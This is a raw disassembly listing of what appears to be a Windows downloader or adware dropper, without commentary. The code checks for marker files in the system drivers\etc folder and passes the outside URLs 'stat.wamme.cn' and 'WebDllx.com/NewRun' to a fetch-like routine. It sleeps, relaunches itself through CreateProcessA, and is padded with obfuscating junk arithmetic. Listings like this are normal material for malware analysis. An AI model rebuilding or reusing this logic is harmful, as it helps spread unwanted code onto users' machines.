mov eax, 0x4bda12f7
imul ecx
mov eax, dword [0x455830]
sar edx, 4
imul eax, eax, 0x35
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x455838]
imul edx, edx, 0xd
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], ecx
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
je 0x40336c
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.004293ad
add esp, 8
cmp eax, 0xffffffff
jne 0x403373
push 0
call fcn.0042957a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
nop
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x403380
mov ecx, dword [0x455838]
mov eax, 0x4bda12f7
imul ecx
imul ecx, ecx, 0xd
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45581c]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [str._r_____r____]
sub eax, ecx
mov ecx, dword [0x455830]
imul ecx, ecx, 0x35
add eax, ecx
sub eax, esi
add eax, 0x28
push 0x132b600
mov dword [0x45581c], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call ebx
mov ecx, dword [0x455838]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45581c]
mov esi, ecx
imul edx, edx, 0x36
imul esi, esi, 0xffffffcf
sub esi, eax
add esi, edx
mov edx, dword [0x455824]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub esi, eax
push 0
push 0
mov eax, 0x4ec4ec4f
imul ecx
mov eax, dword [ebp + 8]
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45580c
push 0
sar edx, 2
push 0
mov ecx, edx
push 1
shr ecx, 0x1f
add esi, edx
add eax, 0x74
add ecx, esi
push 0x68
push eax
mov dword [0x455828], ecx
call fcn.0043b6aa
add esp, 0x2c
push 0x2710
call ebx
mov eax, dword [0x455828]
mov edi, dword [0x45582c]
lea edx, [eax + eax*8]
shl edx, 3
mov ecx, edx
mov eax, 0x4bda12f7
imul edi
mov esi, dword [0x455830]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455818]
sub ecx, eax
imul edx, edx, 0x35
mov eax, dword [str._r_____r____]
imul eax, eax, 0x36
add edx, esi
add edx, ecx
lea ecx, [eax + edx - 0x31]
mov dword [0x455824], ecx
mov dword [ebp + 8], 0
jmp 0x4034d0
mov ecx, dword [0x455820]
imul edi, edi, 0x31
imul esi, esi, 0x22
mov eax, 0x92492493
imul ecx
add edx, ecx
imul ecx, ecx, 0x32
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov ecx, dword [0x45581c]
add eax, edi
mov dword [ebp - 0xfac], eax
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [ebp - 0xfac]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
push 0x2710
mov byte [ebp - 4], 2
mov dword [0x45582c], ecx
call ebx
mov eax, dword [ebp + 8]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x403554
push edx
call fcn.0040ab10
add esp, 4
jmp 0x403554
mov eax, dword [ebp + 8]
mov esi, dword [0x455830]
mov edi, dword [0x45582c]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp + 8], eax
jmp 0x4034d0
mov eax, dword [0x455828]
mov ecx, dword [0x45582c]
lea edx, [eax + eax*8]
shl edx, 3
mov edi, edx
mov eax, 0x4bda12f7
imul ecx
mov ecx, dword [0x455818]
sar edx, 4
imul ecx, ecx, 0x35
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x36
sub edi, eax
add ecx, dword [0x455830]
add ecx, edi
lea eax, [edx + ecx - 0x31]
push 0x493e0
mov dword [0x455824], eax
call esi
push 0
call fcn.0042957a
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xffc]
rep stosd dword es:[edi], eax
push 0x200
lea ecx, [ebp - 0xa14]
push ecx
push eax
mov dword [ebp - 0xffc], 0x44
mov dword [ebp - 0xfd0], 1
mov word [ebp - 0xfcc], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x100c]
push edx
lea eax, [ebp - 0xffc]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0xa14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x4035c3
ret